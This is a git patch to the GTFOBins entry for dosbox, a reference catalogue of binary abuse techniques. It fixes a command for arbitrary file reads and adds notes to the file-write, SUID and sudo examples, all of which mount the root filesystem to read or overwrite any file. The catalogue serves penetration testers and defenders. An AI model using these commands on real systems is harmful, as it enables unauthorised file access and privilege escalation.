From 51d68487864c39fcbab2ca30400486ba3259c8c5 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 2 Jul 2022 16:23:10 +0200 Subject: [PATCH] Fix dosbox file-read and comment line termination in file-write This supersedes and closes #300. --- _gtfobins/dosbox.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/_gtfobins/dosbox.md b/_gtfobins/dosbox.md index 656896a..c658929 100644 --- a/_gtfobins/dosbox.md +++ b/_gtfobins/dosbox.md @@ -9,20 +9,20 @@ functions: - description: The file is copied to a readable location. code: | LFILE='\path\to\file_to_read' - dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit + dosbox -c 'mount c /' -c "copy c:$LFILE c:\tmp\output" -c exit cat '/tmp/OUTPUT' file-write: - - description: Note that the name of the written file in the following example will be `FILE_TO_`. + - description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. code: | LFILE='\path\to\file_to_write' dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit suid: - - description: Note that the name of the written file in the following example will be `FILE_TO_`. + - description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. code: | LFILE='\path\to\file_to_write' ./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit sudo: - - description: Note that the name of the written file in the following example will be `FILE_TO_`. + - description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. code: | LFILE='\path\to\file_to_write' sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit